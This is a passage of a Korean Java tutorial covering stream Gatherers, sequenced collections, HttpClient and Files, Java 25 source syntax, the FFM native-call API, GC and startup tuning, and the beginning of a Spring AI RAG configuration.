// ② 직전 값과 비교 — 급등 구간 찾기
prices.stream()
      .gather(Gatherers.windowSliding(2))     // [a,b], [b,c], [c,d] …
      .filter(w -> w.get(1) > w.get(0) * 1.1)
      .toList();

// ③ 누적값 흘리기 — 잔고 추이
tx.stream()
  .gather(Gatherers.scan(() -> 0L, (acc, t) -> acc + t.amount()))
  .toList();                                  // [100, 250, 240, …]

// ④ 하나로 접기 (reduce 와 달리 중간 상태 타입이 자유롭습니다)
lines.stream()
     .gather(Gatherers.fold(StringBuilder::new,
                            (sb, l) -> sb.append(l).append('\n')))
     .findFirst().orElseThrow().toString();

// ⑤ ★ 동시 호출 — 가상 스레드 기반, 동시 20개, 순서 보존
List<Detail> details = ids.stream()
        .gather(Gatherers.mapConcurrent(20, id -> api.fetch(id)))
        .toList();
//  실패하면 나머지도 취소됩니다 (구조적 동시성과 같은 규칙)
//  세마포어 + Future 조립이 이 한 줄로 끝납니다

컬렉션과 Optional — Java 21 이후 달라진 것 🟢 기초

SequencedCollection — 첫/끝을 통일했습니다

// Java 21 이전 — 컬렉션마다 이름이 제각각이었습니다
list.get(0);                 list.get(list.size()-1);
deque.getFirst();            deque.getLast();
sortedSet.first();           sortedSet.last();
linkedHashMap.entrySet().iterator().next();   // 첫 항목… 마지막은 방법이 없음

// Java 21+ — 순서 있는 컬렉션 전부가 같은 메서드를 가집니다
List<String> l = new ArrayList<>(List.of("a","b","c"));
l.getFirst();      l.getLast();
l.addFirst("z");   l.addLast("d");
l.removeFirst();   l.removeLast();
List<String> rev = l.reversed();      // ★ 뷰(view)입니다 — 복사가 아닙니다

// Map 도 마찬가지 (LinkedHashMap · TreeMap)
SequencedMap<String,Integer> m = new LinkedHashMap<>();
m.putFirst("a", 1);   m.putLast("z", 26);
m.firstEntry();       m.lastEntry();
m.pollFirstEntry();                    // 꺼내면서 제거
m.sequencedKeySet();  m.reversed();

// 적용 대상: List · Deque · LinkedHashSet · SortedSet · LinkedHashMap · SortedMap
// ❌ HashSet · HashMap 은 순서가 없으므로 해당 없음
reversed() 가 뷰라는 점이 중요합니다 — 원본을 고치면 뒤집힌 쪽에도 반영되고, 복사 비용이 0입니다. “마지막 10개를 최신순으로” 같은 요구가 l.reversed().stream().limit(10) 한 줄이 됩니다.

자잘하지만 자주 쓰는 것들

// Stream
list.stream().toList();                     // 불변 (Collectors.toList 는 가변)
Stream.of(1,2,3).mapMulti((n, sink) -> {    // 하나를 0~N개로 (flatMap 보다 가벼움)
    for (int i = 0; i < n; i++) sink.accept(i);
});
nums.stream().takeWhile(n -> n < 10);       // 조건 깨질 때까지
nums.stream().dropWhile(n -> n < 10);       // 조건 깨진 뒤부터
var stats = people.stream().collect(Collectors.teeing(
        Collectors.counting(),
        Collectors.averagingInt(Person::age),
        (cnt, avg) -> cnt + "명 / 평균 " + avg));   // 두 수집을 한 번에

// Optional
opt.stream();                               // Stream 으로 (flatMap 에 유용)
opt.ifPresentOrElse(v -> use(v), () -> log.warn("없음"));
opt.or(() -> findFallback());               // 비어 있으면 다른 Optional
opt.orElseThrow();                          // 인자 없이 NoSuchElementException

// String
"  hi ".strip();     "ab".repeat(3);     "a\nb".lines().toList();
"  ".isBlank();      "hi".indent(4);
"x".transform(s -> s + "!");                // 파이프라인처럼 잇기

// Objects · 기타
Objects.requireNonNullElse(a, b);
var l = List.of(1,2,3);                     // 불변 (null 금지)
Map.entry("k", 1);   Map.copyOf(src);

HttpClient · 파일 — 라이브러리 없이 되는 일 🟡 중급

표준 HttpClient — 가상 스레드와 잘 맞습니다

var client = HttpClient.newBuilder()
        .version(HttpClient.Version.HTTP_2)
        .connectTimeout(Duration.ofSeconds(2))          // ★ 연결 타임아웃
        .followRedirects(HttpClient.Redirect.NORMAL)
        .executor(Executors.newVirtualThreadPerTaskExecutor())
        .build();

var req = HttpRequest.newBuilder(URI.create("https://api.example.com/orders"))
        .header("Authorization", "Bearer " + token)
        .header("Content-Type", "application/json")
        .timeout(Duration.ofSeconds(3))                 // ★ 응답 타임아웃 (별개!)
        .POST(HttpRequest.BodyPublishers.ofString(body))
        .build();

// 동기 — 가상 스레드 위라면 이쪽이 정답입니다 (읽기 쉽고 스택도 살아 있습니다)
HttpResponse<String> res = client.send(req, BodyHandlers.ofString());
if (res.statusCode() / 100 != 2) throw new ApiException(res.statusCode(), res.body());

// 큰 응답은 파일이나 스트림으로 바로 흘립니다 (메모리 안 씁니다)
client.send(req, BodyHandlers.ofFile(Path.of("/tmp/big.json")));
client.send(req, BodyHandlers.ofLines()).body().forEach(System.out::println);

// 비동기가 꼭 필요할 때만
client.sendAsync(req, BodyHandlers.ofString())
      .thenApply(HttpResponse::body)
      .orTimeout(3, TimeUnit.SECONDS);
타임아웃은 두 개를 다 걸어야 합니다 — connectTimeout(클라이언트)은 연결까지, timeout(요청)은 응답 완료까지입니다. 하나만 걸면 연결은 됐는데 응답이 안 오는 가장 흔한 장애에 무방비입니다.

Files · Path — 짧게 쓰는 법

Path p = Path.of("data", "orders.csv");        // 구분자 걱정 없음

// 읽기 · 쓰기 (작은 파일)
String text = Files.readString(p);              // UTF-8 기본
Files.writeString(p, text, StandardOpenOption.CREATE,
                          StandardOpenOption.TRUNCATE_EXISTING);

// 큰 파일은 스트림으로 — try-with-resources 필수 ★
try (var lines = Files.lines(p)) {
    long n = lines.filter(l -> l.startsWith("ORD")).count();
}
// (닫지 않으면 파일 핸들이 샙니다. Files.lines 는 Stream 이지만 자원입니다)

// 디렉터리 순회 — walk 도 자원입니다
try (var s = Files.walk(Path.of("logs"), 2)) {
    s.filter(Files::isRegularFile)
     .filter(f -> f.toString().endsWith(".gz"))
     .forEach(this::upload);
}

// 자주 쓰는 것들
Files.createDirectories(p.getParent());
Files.exists(p);   Files.size(p);   Files.deleteIfExists(p);
Files.copy(src, dst, StandardCopyOption.REPLACE_EXISTING);
Files.move(tmp, real, StandardCopyOption.ATOMIC_MOVE);   // ★ 원자적 교체
Files.mismatch(a, b);                          // 첫 다른 바이트 위치, 같으면 -1
Path tmpDir = Files.createTempDirectory("job-");

// ⚠️ 파일 I/O 는 가상 스레드에서 캐리어를 놓지 못합니다 (v03)
//    대용량 파일 작업은 전용 플랫폼 스레드 풀로 분리하세요

Java 25 의 새 소스 문법 — 교육용만은 아닙니다 🔴 고급

간결한 소스 파일 · 인스턴스 main

// Hello.java — Java 25 에서는 이게 전부입니다 (JEP 512)
void main() {
    IO.println("안녕하세요");
}
// · class 선언이 필요 없습니다 (컴파일러가 이름 없는 클래스로 감쌉니다)
// · static 도, String[] args 도 필요 없습니다
// · java.base 의 주요 패키지가 자동 import 됩니다
// · IO.println / IO.readln 이 java.lang 에 들어왔습니다

$ java Hello.java        # 컴파일 없이 바로 실행됩니다 (Java 11+ 단일 파일 실행)

// 모듈 단위 import (JEP 511, Java 25 정식)
import module java.base;             // java.base 가 export 하는 패키지 전부
void main() {
    var list = new ArrayList<String>();   // java.util.* 을 안 적어도 됩니다
    IO.println(list.getClass());
}
운영 코드에 쓸 자리도 있습니다 — 일회성 스크립트 · 마이그레이션 도구 · 재현용 최소 예제가 그렇습니다. 예전엔 “자바로 스크립트 하나 짜기”가 부담이었는데, 이제 java fix.java 한 줄로 끝나서 파이썬 대신 자바로 짜는 선택이 생겼습니다.

직접 Gatherer 만들기 — 필요할 때만

// "직전 값과 다를 때만 흘려보내기" (distinctUntilChanged)
static <T> Gatherer<T, ?, T> distinctUntilChanged() {
    return Gatherer.ofSequential(
        () -> new Object[1],                       // ① 상태 초기화
        (state, elem, downstream) -> {             // ② 통합자
            if (!Objects.equals(state[0], elem)) {
                state[0] = elem;
                return downstream.push(elem);      // false 면 조기 종료
            }
            return true;
        });
}

// 쓰기
statuses.stream()
        .gather(distinctUntilChanged())
        .toList();     // [READY, RUNNING, RUNNING, DONE] → [READY, RUNNING, DONE]

// 상태가 필요 없으면 더 짧게
static <T> Gatherer<T, Void, T> peekIndexed(BiConsumer<Integer,T> f) { ... }
직접 만들기 전에 표준을 먼저 보세요 — windowFixed·windowSliding·fold·scan·mapConcurrent 다섯 개로 실무 요구의 대부분이 덮입니다. 직접 만들 때는 병렬 스트림에서 쓸 것인지를 먼저 정하세요 — ofSequential 은 순차 전용이고, 병렬을 지원하려면 결합자까지 구현해야 합니다.
정리 — 텍스트 블록은 닫는 """ 의 위치가 왼쪽 정렬선이라는 것만 기억하면 됩니다. 스트림에서 예전엔 for 로 되돌아가야 했던 일은 Gatherers 로 접히고, 그중 mapConcurrent 는 가상 스레드 팬아웃을 한 줄로 만들어 줍니다. getFirst()/reversed(), HttpClient, Files 까지 익히면 외부 라이브러리 없이도 상당히 멀리 갑니다.
MODERN 10

FFM API — JNI 없이 C 라이브러리 부르기 Java 22 정식

예전에는 자바에서 C 함수를 부르려면 C 로 브리지 코드를 짜서 컴파일해야 했습니다(JNI). java.lang.foreign 은 그 과정을 통째로 없앴습니다 — 자바 코드만으로 네이티브 함수를 부르고 네이티브 메모리를 다룹니다. 게다가 메모리 수명과 경계를 JVM 이 검사해 줍니다.

FFM 구성 — 세 단계로 네이티브 함수를 손에 넣습니다 ① SymbolLookup libc 나 내 .so / .dll 에서 함수 주소를 찾습니다 ② FunctionDescriptor 인자·반환 타입을 자바 쪽 레이아웃으로 기술합니다 ③ Linker.downcallHandle() 호출 가능한 MethodHandle 이 나옵니다 — 이제 부르면 됩니다 네이티브 라이브러리 libc · libz · 내 C 라이브러리 (.so / .dll / .dylib) JNI 와 무엇이 다른가 · C 브리지 코드를 짜지 않습니다 (자바만) · 헤더·플랫폼별 빌드가 사라집니다 · 경계와 수명을 JVM 이 검사합니다 · 실수해도 JVM 이 통째로 죽지 않습니다 Arena — 메모리 수명 try 블록을 벗어나면 할당한 네이티브 메모리를 전부 해제합니다. free() 를 잊을 수 없습니다 MemorySegment — 안전한 메모리 조각 범위 밖 접근, 이미 해제된 메모리 접근, 다른 스레드의 접근이 전부 예외로 잡힙니다 Java 24+ 는 네이티브 접근에 허가가 필요합니다 — java --enable-native-access=ALL-UNNAMED … (없으면 경고, 장차 에러)
FFM 은 “C 를 안 짜고 C 를 부르는 법”입니다 — 메모리 수명은 Arena, 안전은 MemorySegment 가 맡습니다.

가장 짧은 예제 — strlen 부르기

import java.lang.foreign.*;
import java.lang.invoke.MethodHandle;

public class Ffm {
    public static void main(String[] args) throws Throwable {
        Linker linker = Linker.nativeLinker();
        SymbolLookup libc = linker.defaultLookup();      // 표준 C 라이브러리

        // size_t strlen(const char *s)
        MethodHandle strlen = linker.downcallHandle(
                libc.find("strlen").orElseThrow(),
                FunctionDescriptor.of(ValueLayout.JAVA_LONG,   // 반환
                                      ValueLayout.ADDRESS));  // 인자

        try (Arena arena = Arena.ofConfined()) {          // ★ 수명 = 이 블록
            MemorySegment cs = arena.allocateFrom("안녕 java");  // 널 종료 문자열
            long len = (long) strlen.invokeExact(cs);
            System.out.println(len);                      // 바이트 길이
        }   // 여기서 네이티브 메모리가 전부 해제됩니다
    }
}
# Java 24+ 는 허가 옵션이 필요합니다 (JEP 472)
javac Ffm.java
java --enable-native-access=ALL-UNNAMED Ffm
#   안 주면: WARNING: A restricted method in java.lang.foreign.Linker has been called
#   모듈을 쓴다면 --enable-native-access=my.module 처럼 모듈 이름을 줍니다
invokeExact 를 쓰세요 — invoke 는 타입이 안 맞으면 실행 중에 변환을 시도해 느리고, invokeExact 는 시그니처가 정확히 일치해야 하는 대신 직접 호출만큼 빠릅니다. 캐스팅((long))을 빼먹으면 WrongMethodTypeException 이 납니다.

Arena 네 가지 — 수명 정책

종류수명 · 특징
ofConfined()기본 선택. 만든 스레드만 접근, close() 시 해제
ofShared()여러 스레드 공유 가능. 닫을 때 동기화 비용
ofAuto()GC 가 회수. 언제 해제될지 모릅니다
global()프로세스 끝까지. 상수·룩업 테이블용
// 구조체를 다루기 — 레이아웃을 선언하고 VarHandle 로 읽고 씁니다
// struct Point { int x; int y; }
StructLayout POINT = MemoryLayout.structLayout(
        ValueLayout.JAVA_INT.withName("x"),
        ValueLayout.JAVA_INT.withName("y"));

VarHandle X = POINT.varHandle(MemoryLayout.PathElement.groupElement("x"));
VarHandle Y = POINT.varHandle(MemoryLayout.PathElement.groupElement("y"));

try (var arena = Arena.ofConfined()) {
    MemorySegment p = arena.allocate(POINT);
    X.set(p, 0L, 10);            // 오프셋 0
    Y.set(p, 0L, 20);
    int x = (int) X.get(p, 0L);

    // 배열도 됩니다
    MemorySegment arr = arena.allocate(POINT, 100);      // Point[100]
    MemorySegment third = arr.asSlice(POINT.byteSize() * 2, POINT.byteSize());

    // 원시 배열 ↔ 네이티브 메모리
    MemorySegment buf = arena.allocateFrom(ValueLayout.JAVA_INT, 1,2,3,4);
    int[] back = buf.toArray(ValueLayout.JAVA_INT);

    // 문자열
    MemorySegment cs = arena.allocateFrom("hello");
    String s = cs.getString(0);
}

실전 — 콜백과 jextract 🔴 고급

업콜 — C 가 자바 함수를 부르게 하기

// qsort(void* base, size_t n, size_t size, int (*cmp)(const void*, const void*))
// 비교 함수를 자바로 넘깁니다.

static int compare(MemorySegment a, MemorySegment b) {
    return Integer.compare(a.get(ValueLayout.JAVA_INT, 0),
                           b.get(ValueLayout.JAVA_INT, 0));
}

Linker linker = Linker.nativeLinker();
try (Arena arena = Arena.ofConfined()) {

    // ① 자바 메서드를 네이티브 함수 포인터로 만듭니다
    MethodHandle cmpHandle = MethodHandles.lookup().findStatic(
            Main.class, "compare",
            MethodType.methodType(int.class, MemorySegment.class, MemorySegment.class));

    MemorySegment cmpPtr = linker.upcallStub(
            cmpHandle,
            FunctionDescriptor.of(ValueLayout.JAVA_INT,
                                  // ★ 그냥 ADDRESS 면 크기 0 짜리 세그먼트가 와서 get() 이 실패합니다
                                  ValueLayout.ADDRESS.withTargetLayout(ValueLayout.JAVA_INT),
                                  ValueLayout.ADDRESS.withTargetLayout(ValueLayout.JAVA_INT)),
            arena);                       // ★ 스텁의 수명도 arena 가 관리

    // ② qsort 에 넘깁니다
    MethodHandle qsort = linker.downcallHandle(
            linker.defaultLookup().find("qsort").orElseThrow(),
            FunctionDescriptor.ofVoid(ValueLayout.ADDRESS, ValueLayout.JAVA_LONG,
                                      ValueLayout.JAVA_LONG, ValueLayout.ADDRESS));

    MemorySegment data = arena.allocateFrom(ValueLayout.JAVA_INT, 5,3,9,1);
    qsort.invokeExact(data, 4L, 4L, cmpPtr);
    System.out.println(Arrays.toString(data.toArray(ValueLayout.JAVA_INT)));
}
업콜 안에서 예외를 던지면 안 됩니다 — 네이티브 프레임을 가로질러 예외를 던지면 동작이 정의되지 않습니다. 업콜 본문은 try/catch 로 통째로 감싸고 에러는 반환값이나 필드로 전달하세요.

jextract · 그리고 주의할 점

# 헤더 파일에서 바인딩 자바 코드를 자동 생성합니다.
# (JDK 에 포함돼 있지 않습니다 — jdk.java.net 에서 따로 받습니다)
jextract --output src/gen \
         --target-package org.example.zlib \
         -l z \
         -I /usr/include \
         /usr/include/zlib.h

# 그러면 이렇게 쓸 수 있게 됩니다
#   import static org.example.zlib.zlib_h.*;
#   long bound = compressBound(srcLen);

# 함수가 몇 개 안 되면 손으로 downcallHandle 을 쓰는 편이 낫습니다.
# 헤더가 크면(OpenGL·SQLite·FFmpeg) jextract 가 압도적으로 편합니다.
// ⚠️ 자주 밟는 함정 넷

// ① 닫힌 Arena 에 접근 — 예외로 잡히지만 잡히는 게 다행입니다
MemorySegment leaked;
try (var a = Arena.ofConfined()) { leaked = a.allocate(8); }
leaked.get(ValueLayout.JAVA_LONG, 0);   // IllegalStateException: closed

// ② ofConfined 를 다른 스레드에서 접근 — WrongThreadException
//    스레드를 넘나들 값이면 Arena.ofShared() 를 쓰세요

// ③ 네이티브 호출 중에는 가상 스레드가 캐리어를 놓지 못합니다 (v03)
//    오래 걸리는 네이티브 호출은 전용 플랫폼 스레드 풀로 분리하세요

// ④ 반환된 포인터의 크기는 JVM 이 모릅니다 — 0바이트로 취급됩니다
MemorySegment ptr = (MemorySegment) getBuf.invokeExact();
MemorySegment real = ptr.reinterpret(1024);   // 크기를 내가 알려 줍니다
//   reinterpret 는 '제한된 메서드'입니다 — 틀리면 JVM 이 죽습니다

언제 쓰나 — 그리고 언제 쓰지 않나 🟡 중급

쓸 만한 자리

상황메모
OS 기능이 자바에 없음파일 잠금 세부·프로세스 제어·터미널 제어
이미 있는 C 라이브러리영상 코덱 · 압축 · 암호 · 과학 계산
기존 JNI 를 걷어내기가장 확실한 이득 — 빌드가 사라집니다
힙 밖 대용량 버퍼GC 압박 없이 수 GB 를 다룰 때
단순 성능 개선 목적대부분 이득 없음 — JIT 이 이미 잘합니다
계산 벡터화Vector API(아직 인큐베이터) 쪽 문제
C++ 로 만든 모듈을 자바에서 부르는 법은 C++ 가이드의 자바 모듈 탭에서 C++ 쪽 관점으로 다룹니다 (extern "C" 로 노출하기 · 빌드 · ABI). 여기서는 자바 쪽에서 이미 있는 라이브러리를 부르는 법만 봤습니다.

JNI 와 나란히 놓고 보기

JNIFFM
C 코드 작성필요불필요
플랫폼별 빌드필요불필요
메모리 해제수동Arena 가
경계 검사없음있음
실수했을 때JVM 크래시대부분 예외
호출 오버헤드큼작음
학습 곡선가파름보통
기존 자산많음늘어나는 중
JNI 는 앞으로 더 불편해집니다 — JEP 472(Java 24)로 JNI 와 FFM 모두 “제한된 기능”이 되어 --enable-native-access 없이는 경고가 나옵니다. 앞으로의 릴리스에서 에러로 바뀔 예정이니, 지금 쓰는 네이티브 접근은 전부 기동 옵션에 명시해 두세요.
정리 — FFM 은 Linker · MemorySegment · Arena 세 단어면 시작할 수 있습니다. Arena.ofConfined() 로 감싸고, downcallHandle 로 함수를 얻어 invokeExact 로 부릅니다. Java 24 부터는 --enable-native-access 를 반드시 붙이세요. 헤더가 크면 jextract, 작으면 손으로 — 그리고 네이티브 호출 중에는 가상 스레드가 캐리어를 놓지 못한다는 점만 기억하면 됩니다.
MODERN 11

GC · 성능 — Java 24~25 에서 새로 생긴 손잡이

GC 의 기본기(세대 구조 · 로그 읽는 법 · 힙 덤프)는 🧬 고급·동시성 탭에서 다뤘습니다. 여기서는 21 이후에 새로 생긴 것만 봅니다 — 세대별 ZGC, 압축 객체 헤더(힙 10~20% 절감), AOT 캐시(기동 시간 절반), 그리고 GraalVM native-image 와의 갈림길.

힙을 보는 두 가지 시선 — 그리고 Java 24~25 의 새 손잡이 G1 — 같은 크기 리전으로 잘라 씁니다 초록 = 새 객체 · 남색 = 구세대 · 호박 = 큰 객체 · 흐림 = 빈 리전 역할이 리전마다 그때그때 정해집니다 — 고정된 경계가 없습니다 회수할 때 쓰레기 비율이 높은 리전부터 고릅니다 (Garbage First) 멈춤 시간 — 힙이 커질수록 갈립니다 G1 ZGC 붉은 조각이 애플리케이션이 멈춰 있는 구간입니다 ZGC 는 이사 작업을 애플리케이션과 동시에 진행합니다 대신 CPU 와 메모리를 더 씁니다 — 공짜가 아닙니다 압축 객체 헤더 Java 24 실험 → 25 정식 모든 객체에는 헤더가 붙습니다 (마크워드 + 클래스 포인터) 기존 12바이트 이후 8바이트 작은 객체가 많은 서비스에서 힙 사용량이 10~20% 줄어듭니다 덤으로 캐시 적중률이 올라 처리량도 조금 좋아집니다 켜는 법: -XX:+UseCompactObjectHeaders AOT 캐시 (Project Leyden) Java 24+ 기동 시간의 대부분은 클래스를 읽고 링크하고 검증하는 데 씁니다 그 결과를 한 번 기록해 파일로 두고, 다음 기동부터 그대로 씁니다 ① 한 번 훈련 실행: -XX:AOTCacheOutput=app.aot ② 이후 모든 기동: -XX:AOTCache=app.aot 스프링 부트 기동이 30~50% 짧아집니다 — 오토스케일에 직결됩니다
Java 24~25 의 성능 이야기는 GC 튜닝이 아니라 헤더를 줄이고 기동을 미리 해 두는 것으로 옮겨 갔습니다.

G1 이냐 ZGC 냐 — 판단 기준

기준G1 (기본)ZGC
힙 크기~32GB 무난수백 GB 까지
최대 멈춤수십~수백 ms1ms 미만
처리량조금 유리CPU 를 더 씀
메모리 여유보통더 필요(약 10%)
튜닝 손잡이많음거의 없음(장점)
세대 구분있음Java 23+ 기본 있음
# Java 25 기준 — 켜는 법은 한 줄뿐입니다
java -XX:+UseZGC -jar app.jar
#   세대별 ZGC 가 Java 23부터 기본입니다.
#   -XX:+ZGenerational 플래그는 24부터 없어졌으니 넣지 마세요
#   (24 에서는 경고 후 무시되고, 플래그가 완전히 만료되면 기동 실패)

# Shenandoah 도 세대별이 되었습니다 (Java 25, JEP 521)
java -XX:+UseShenandoahGC -XX:ShenandoahGCMode=generational -jar app.jar

# 판단은 로그로 — 200ms 넘는 멈춤이 반복되는지만 보면 됩니다
java -Xlog:gc*:file=/log/gc.log:time,uptime,level,tags:filecount=5,filesize=20M \
     -jar app.jar
grep -o 'Pause[^)]*)' /log/gc.log | sort | uniq -c | sort -rn | head
ZGC 로 바꾸면 “느려졌다”는 신고가 종종 옵니다 — p99 는 좋아졌는데 평균 처리량이 몇 % 떨어진 경우입니다. ZGC 는 CPU 를 써서 멈춤을 산 것이니 정상입니다. 지연이 중요하지 않은 배치라면 오히려 G1 이나 Parallel 이 맞습니다.

압축 객체 헤더 — 공짜에 가까운 절감

# Java 25 (JEP 519) — 정식 기능입니다
java -XX:+UseCompactObjectHeaders -jar app.jar

# Java 24 (JEP 450) — 실험 기능이라 잠금 해제가 필요합니다
java -XX:+UnlockExperimentalVMOptions -XX:+UseCompactObjectHeaders -jar app.jar

# 효과 확인 — 같은 부하를 주고 힙 사용량을 비교합니다
jcmd <pid> GC.heap_info
jcmd <pid> GC.class_histogram | head -5

# 객체 하나의 크기를 직접 재기 (JOL)
java -jar jol-cli.jar internals java.lang.Integer
#   OFF  SZ   TYPE DESCRIPTION
#     0   8   (object header: mark)     ← 압축 시 클래스 정보가 여기로 합쳐집니다
#     8   4   (object header: class)    ← 압축 시 이 줄이 사라져 헤더가 8바이트

효과가 큰 쪽은 작은 객체가 아주 많은 서비스입니다 — 엔티티 수십만 건을 올려 두는 캐시, 문자열·Integer 가 많은 파싱 서버, 메시지 처리기. 반대로 큰 배열 몇 개가 힙을 차지하는 워크로드에서는 거의 차이가 없습니다.

먼저 확인할 것 — 힙 밖 메모리를 직접 계산하는 라이브러리 (일부 캐시 · 직렬화기 · 오프힙 저장소)는 헤더 크기를 상수로 박아 둔 경우가 있습니다. 전면 적용 전에 스테이징에서 하루 돌려 보세요. 문제가 생기면 플래그 하나만 빼면 되돌아갑니다.

기동 시간 — AOT 캐시로 절반 만들기 🟡 중급

Java 25 의 2단계 절차

# ① 훈련 실행 — 실제와 비슷하게 한 번 돌리고 끝냅니다
java -XX:AOTCacheOutput=app.aot -jar app.jar
#   기동 → (가능하면 대표 요청 몇 개) → 정상 종료
#   종료하는 순간 app.aot 가 만들어집니다

# ② 이후 모든 기동
java -XX:AOTCache=app.aot -jar app.jar
#   클래스 로딩·링킹 결과를 그대로 읽어 씁니다

# ── Java 24 는 3단계였습니다 (JEP 483) ──────────────
java -XX:AOTMode=record -XX:AOTConfiguration=app.aotconf -jar app.jar
java -XX:AOTMode=create -XX:AOTConfiguration=app.aotconf -XX:AOTCache=app.aot -jar app.jar
java -XX:AOTCache=app.aot -jar app.jar
#   Java 25 의 AOTCacheOutput 이 앞의 두 단계를 합친 것입니다 (JEP 514)

# 효과 재기 — 스프링 부트라면 로그의 "Started ... in X seconds" 를 비교
for i in 1 2 3; do java -XX:AOTCache=app.aot -jar app.jar | grep Started; done
훈련 실행과 운영 실행의 조건이 같아야 합니다 — 같은 JDK 버전 · 같은 클래스패스 · 같은 주요 옵션이어야 캐시가 쓰입니다. 다르면 조용히 무시되고 원래 속도로 돕니다. 도커 이미지 빌드 단계에서 훈련 실행을 넣는 것이 가장 안전한 방식입니다.

기동을 줄이는 네 가지 카드 — 나란히

방법기동대가
아무것도 안 함기준—
CDS-20~30%거의 없음
AOT 캐시-30~50%훈련 실행 1회
CRaC(체크포인트)-90%플랫폼 제약 · 상태 복원 설계
native-image-95%빌드 수 분 · 리플렉션 설정 · 피크 성능 손해
어느 것을 고를까 — 질문 두 개면 갈립니다.

Q1. 컨테이너가 몇 초 안에 떠야 하나?
    · 수 초면 충분 → AOT 캐시로 끝. 가장 값싼 선택입니다.
    · 수십 ms 여야 함 → native-image 나 CRaC 를 검토합니다.
      (함수형 워크로드 · 스케일 투 제로)

Q2. 오래 떠 있는 서버인가?
    · 예 → native-image 는 손해일 수 있습니다.
           JIT 이 없어서 '오래 돌수록 빨라지는' 이점을 못 얻습니다.
    · 아니오(짧게 뜨고 사라짐) → native-image 가 유리합니다.

★ 대부분의 웹 서비스는 Q1=수 초, Q2=예 입니다.
  → 답은 AOT 캐시입니다. native-image 는 필요할 때만.

GraalVM native-image — 언제 그 값을 치를까 🔴 고급

얻는 것과 잃는 것

JVM (+AOT 캐시)native-image
기동0.5~2초수십 ms
기본 메모리보통훨씬 적음
피크 처리량더 높음(JIT)보통 낮음
빌드 시간수십 초수 분~십수 분
리플렉션자유힌트 설정 필요
런타임 진단JFR·힙덤프 자유제한적
디버깅평소대로불편
# Spring Boot 는 AOT 처리 + 네이티브 빌드를 플러그인이 해 줍니다
./gradlew nativeCompile          # 또는 ./mvnw -Pnative native:compile
./build/native/nativeCompile/app # 실행 파일

# 컨테이너로 바로 (GraalVM 을 안 깔아도 됩니다)
./gradlew bootBuildImage --imageName=myapp:native \
    -Porg.graalvm.buildtools.native=true

측정 없이 손대지 않기

# ① 무엇이 느린지부터 — JFR 이 가장 값싼 시작점입니다
java -XX:StartFlightRecording=duration=120s,filename=rec.jfr \
     -XX:FlightRecorderOptions=stackdepth=128 -jar app.jar
jfr summary rec.jfr

# Java 25 는 CPU 시간 기반 프로파일링이 추가됐습니다 (JEP 509, 리눅스)
#   기존 샘플링은 '실행 중인 스레드'만 봤는데,
#   이제 CPU 를 실제로 쓴 시간 기준으로 볼 수 있습니다
#   기본 설정에서는 꺼져 있습니다 — 녹화 옵션에
#   jdk.CPUTimeSample#enabled=true 를 더해야 이벤트가 쌓입니다
jfr print --events jdk.CPUTimeSample rec.jfr | head -40

# ② 마이크로 벤치는 반드시 JMH 로 — System.nanoTime 손계산은 거의 항상 틀립니다
#    (JIT 이 죽은 코드를 지워 버리거나, 예열 전 값을 재게 됩니다)

# ③ 할당량이 문제인지 확인
jcmd <pid> GC.class_histogram | head -20
jfr print --events jdk.ObjectAllocationSample rec.jfr | head -40
순서를 지키면 대부분 GC 옵션까지 갈 일이 없습니다 — ① 할당을 줄이고(불필요한 DTO 변환·문자열 연결·한 번에 전체 조회), ② 기동은 AOT 캐시로, ③ 메모리는 압축 헤더로, ④ 그래도 p99 가 튀면 그때 ZGC 를 봅니다. ①을 건너뛴 GC 튜닝은 거의 항상 헛수고입니다.
정리 — Java 24~25 에서 성능 이야기의 중심은 GC 옵션에서 기동과 메모리로 옮겨 갔습니다. -XX:AOTCache 로 기동을 30~50% 줄이고, -XX:+UseCompactObjectHeaders 로 힙을 10~20% 줄이는 것이 지금 가장 값싼 두 장의 카드입니다. GC 는 고민되면 G1, p99 가 튀면 ZGC 로 충분하고, native-image 는 “짧게 뜨고 사라지는 워크로드”일 때만 값을 합니다.
MODERN 12

Spring AI — 자바 서비스에 LLM 붙이기

LLM 연동은 파이썬만의 일이 아닙니다. Spring AI(1.0 GA 2025-05)는 ChatClient 하나로 모델을 부르고, 구조화 출력 · 벡터 스토어 · 툴 호출 · 스트리밍을 스프링답게 묶어 줍니다. 여기서는 챗봇 데모가 아니라 운영에 올릴 때 필요한 것 — RAG · 툴 · 비용 · 타임아웃 · 관측을 봅니다.

RAG 파이프라인 — 미리 해 두는 색인과, 매번 도는 질의 ① 색인 (미리 한 번 · 문서가 바뀔 때마다) 사내 문서 PDF · 위키 · 공지 조각내기 TokenTextSplitter 벡터로 바꾸기 EmbeddingModel 벡터 스토어 pgvector ② 질의 (요청마다) 사용자 질문 "환불 규정이 뭐야" 유사 조각 검색 topK = 4 프롬프트 조립 질문 + 근거 조각 ChatClient 근거만 보고 답변 같은 벡터 스토어를 씁니다 운영에서 반드시 챙기는 네 가지 ① 근거가 없으면 "모른다"고 답하게 시스템 프롬프트에 못 박습니다 — 없으면 지어냅니다 ② 토큰 사용량을 지표로 남깁니다 — 비용이 조용히 늘어나는 유일한 항목입니다 ③ 타임아웃과 재시도 상한을 반드시 겁니다 — 응답이 수십 초까지 갈 수 있습니다 ④ 개인정보를 프롬프트에 넣지 않습니다 — 넣기 전에 마스킹하는 단계를 둡니다
RAG 의 핵심은 모델이 아니라 “무엇을 근거로 넣어 주느냐”입니다 — 검색 품질이 답변 품질을 정합니다.

붙이기 — 의존성과 첫 호출

// build.gradle.kts
dependencyManagement {
    imports { mavenBom("org.springframework.ai:spring-ai-bom:1.1.0") }
}
dependencies {
    // 모델 스타터 — 쓰는 공급자 것만 넣습니다
    implementation("org.springframework.ai:spring-ai-starter-model-anthropic")
    // 벡터 스토어 (RAG 를 할 때만)
    implementation("org.springframework.ai:spring-ai-starter-vector-store-pgvector")
}
spring:
  ai:
    anthropic:
      api-key: ${ANTHROPIC_API_KEY}      # ★ 절대 소스에 넣지 마세요
      chat:
        options:
          model: claude-opus-5
          max-tokens: 4096
          temperature: 0.2               # 사실 기반 답변은 낮게
// 빈은 설정 클래스에 둡니다 — 컨트롤러 안의 @Bean 이 자기 생성자에 주입되면
// "컨트롤러를 만들려면 ChatClient, ChatClient 를 만들려면 컨트롤러" 순환으로 기동 실패
@Configuration
class AiConfig {
    @Bean
    ChatClient chatClient(ChatClient.Builder builder) {
        return builder
            .defaultSystem("""
                너는 사내 규정 안내 도우미다.
                제공된 근거 문서만 사용해 답하라.
                근거에 없으면 "관련 규정을 찾지 못했습니다"라고만 답하라.
                """)
            .build();
    }
}

